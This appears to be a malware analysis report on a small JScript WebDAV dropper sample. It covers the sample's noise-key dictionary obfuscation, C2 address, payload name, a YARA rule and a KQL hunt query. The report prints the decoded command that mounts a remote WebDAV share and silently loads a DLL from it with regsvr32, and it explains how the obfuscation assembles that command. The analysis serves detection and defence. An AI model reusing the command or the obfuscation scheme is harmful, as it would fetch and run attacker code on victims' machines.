unclassified-js-webdav-dropper: 4cb05ef0 — 36-entry noise-key dictionary JScript, 45.9.74.36:8888

Executive Summary. Forty-sixth confirmed sibling of the unclassified-js-webdav-dropper family. A 5.6 KB JScript dropper using a 36-entry random-noise dictionary lookup table (zbdwbngdheorpl object) to assemble a cmd /k net use ... && regsvr32 /s execution chain at runtime. C2 45.9.74.36:8888; payload 118481125826629.dll. No PowerShell wrapper, no wordpad decoy, no sandbox gate.

What It Is

• Filename: 20207242741666618717.js ^[triage.json]
• File type: ASCII text, CRLF line terminators, very long lines (4,305 chars) ^[file.txt]
• Size: 5,635 bytes ^[triage.json]
• Family: unclassified-js-webdav-dropper (46th confirmed sibling) ^[entities/unclassified-js-webdav-dropper.md]
• Static-only: CAPE skipped — not a supported binary class ^[dynamic-analysis.md]

How It Works

The script builds a 36-entry character dictionary as object properties, then assembles the payload inside a catch block via the Function('return this')() global-construction trick ^[strings.txt:1]:

Function('return this')()['WScript']['CreateObject']('WScript.Shell')['Run']('cmd /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\118481125826629.dll', 0, false)

Decoding proceeds as:

1. Define zbdwbngdheorpl = {} and populate 36 noise-key mappings (e.g. zbdwbngdheorpl['vlwoqpxyfcvvmnzq'] = 'i').
2. try { khyxvqcjinlckzxiqyi(); } — a no-op function call that always throws.
3. In the catch block, concatenate dictionary values into string arguments for Function(), WScript.CreateObject, and Run().
4. The decoded command mounts a WebDAV share at \\45.9.74.36@8888\davwwwroot\ and silently registers 118481125826629.dll via regsvr32 /s.

Build / RE

• Language: JScript (Windows Script Host)
• Obfuscation: 36-entry dictionary lookup table with fully random noise keys (8–20 lowercase chars, no semantic content). Object name zbdwbngdheorpl. Same assembly engine as the 62-entry noise-key variants (e.g. df42ecf8, 77cbe0c4) but reduced to 36 entries.
• Anti-analysis: None — no debugger checks, no VM detection, no time-bombs, no connectivity checks.
• Code quality: Low — hand-written, verbose, repetitive; lacks commercial obfuscator signatures.

Deploy / ATT&CK

C2 Infrastructure

• C2 IP: 45.9.74.36:8888 ^[strings.txt:1]
• Payload filename: 118481125826629.dll ^[strings.txt:1]
• WebDAV path: \\45.9.74.36@8888\davwwwroot\ ^[strings.txt:1]

Interesting Tidbits

• No PowerShell wrapper: Unlike many dictionary-dialect siblings (e.g. e6ebae6a, df42ecf8), this sample executes the command directly via WScript.Shell.Run without a PowerShell -EncodedCommand intermediary.
• No decoy: No wordpad launch, no color f0 batch decoy, no nested try/catch noise.
• Minimal footprint: 5.6 KB, 36 entries — the smallest dictionary variant observed in this family. Compares to 15.6–20.8 KB siblings with 62 entries.
• C2 overlap: 45.9.74.36:8888 is the most frequently reused IP in this family (previously observed in ffd5d894, e9e82d14, f170f5a9, fa7e181d, cb5d302f, d0124d62, d90baa30, a435a37b, aa8ff8b9, ade6cf68, b612dd70, be58d381, 92ce4217, and nine pure-batch siblings).

Deployable Signatures

YARA Rule

rule js_webdav_dropper_noise_dict_36 {
    meta:
        description = "JScript WebDAV dropper with 36-entry noise-key dictionary lookup"
        author = "Titus"
        family = "unclassified-js-webdav-dropper"
    strings:
        $dict = /[a-z]{15,35}\s*=\s*\[\];[a-z]{15,35}\['[a-z]{8,20}'\]\s*=\s*'.';/
        $func = "Function('" nocase
        $wscript = "WScript" nocase
        $run = "Run" nocase
        $net_use = "net use" nocase
        $dav = "davwwwroot" nocase
        $regsvr = "regsvr32" nocase
    condition:
        all of ($func, $wscript, $run, $net_use, $dav, $regsvr) and
        #dict >= 30 and
        filesize < 10KB
}

Behavioral Hunt Query (KQL)

DeviceProcessEvents
| where ProcessCommandLine contains "net use" and ProcessCommandLine contains "davwwwroot"
| where InitiatingProcessFileName =~ "wscript.exe"
| where ProcessCommandLine contains "regsvr32"
| summarize count() by DeviceName, AccountName, InitiatingProcessCommandLine, ProcessCommandLine

IOC List

References

• unclassified-js-webdav-dropper — Family entity page
• js-dictionary-char-lookup-obfuscation — Technique page for dictionary lookup obfuscation
• webdav-regsvr32-dll-sideloading — Technique page for WebDAV + regsvr32 execution chain
• MalwareBazaar: 20207242741666618717.js

Provenance

• File type: file v5.44 ^[file.txt]
• Strings: strings (default) ^[strings.txt]
• Manual JScript decode via dictionary substitution and Function() emulation ^[/intel/analyses/4cb05ef0d4a1b55fa55b657ba0c244b944f277fd66655e9ec047d28ecb333ff4.html]